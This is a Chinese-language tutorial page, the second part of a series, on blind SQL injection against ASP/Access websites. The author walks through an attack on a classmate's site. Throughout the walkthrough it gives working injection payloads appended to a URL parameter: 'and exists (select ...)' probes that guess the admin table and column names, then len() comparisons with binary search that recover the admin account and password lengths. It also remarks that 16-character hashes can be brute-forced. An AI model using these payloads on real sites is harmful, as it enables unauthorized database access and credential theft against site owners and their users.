解读SQL注入漏洞初级应用之Access篇(2)_Access数据库教程
推荐:解读ADO访问不同数据库的差别Microsoft公司提供了统一的数据访问接口ActiveX Data Object,简称ADO。但实际应用编程中,访问不同的数据库,如Access、SQL Server或VFP,会存在一些“细微”差别,常常有这样的情况,用ADO对象访问某一数据库的程序都调试通过了,但用同样的程序访问其他数
这个站是我同学自己写的,我还是先判断管理员表admin是否存在,在后面加上语句:and exists (select * from admin)变成http://www.xxx.com/show.asp?id=474 and exists (select * from admin)提交访问后返回的页面。
这就说明我猜的admin表名不存在,继续猜另外的名字,这里可以参考国内常见的程序的表名,比如:admin user vote manage users 会员 用户 管理员 admin_admin userinfo bbs news system等,这个站我最后猜到的是:users,语句:and exists (select * from users)。
5.进一步判断表里的字段是否存在
判断字段id 是否存在,这个一般都有,自动编号。如果存在了顺便猜一下管理员的id值。
判断存在语句:and exists(select id from users)
判断编号语句:and exists(select id from users where id=1)
一般管理员账号密码放在第一位,也就是id=1,如果不是就猜下去,猜id=2 猜id=3等啦。
由于这个站是自己写的代码,所以会有点不同,当判断是否不过你可以猜到他的对应的可能是userid,因为他表名取做user呀,把上面的id改为userid就返回了正常的页面。
至于这个userid值为多少,同样猜,and exists(select userid where userid=1)改变1这个数字,一直猜到页面显示正常为止。这里我猜到的是userid=11。
最后猜出这个继续猜出其它的字段,用户名字段最后为username,密码字段为userpwd,用到的语句分别为:and exists (select username from users)和and exists (select userpwd from users)。
6.再进一步判断账号和密码的长度
这里我说一下常用的方法,判断的时候大于小于一起用嘛,学过数据结构的人都知道有二分法,我这里也引用一下,比如说你判断 >4 而又判断<12 那我接下来就取中间的看是大于8还是小于8,如果是大于8则说明在8到12之间,如果是小于8说明在4到8之间,再接着用二分法判断下去。。。。。。当然由于账号密码一般人不会太长,所以在这里二分法的优势体现的不够明显,不过到下面猜账号密码字符的时候就能明显感受到了。
首先判断账号username的字符长度:and exists (select userid from users where len(username)<10 and userid=11),返回正常说明长度小于10,and exists (select userid from users where len(username)>5 and userid=11),返回不正常说明长度小于5,最后猜到的是
and exists (select userid from users where len(username)=4 and userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早。
再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from users where len(userpwd)=16 and userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解。
到此,我们得到的信息如下:
账号username长度:4
密码userpwd长度:16
分享:如何防止Access 2000密码被破如果你过分信任 Access 2000数据库的密码保护,你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全,相反它很脆弱,甚至下面这段非常小的程序就可以攻破它: 程序一(VB6):Access 2000密码破译 Private Sub Command1_Click() Const Off
- 相关链接:
- 教程说明:
Access数据库教程-解读SQL注入漏洞初级应用之Access篇(2)。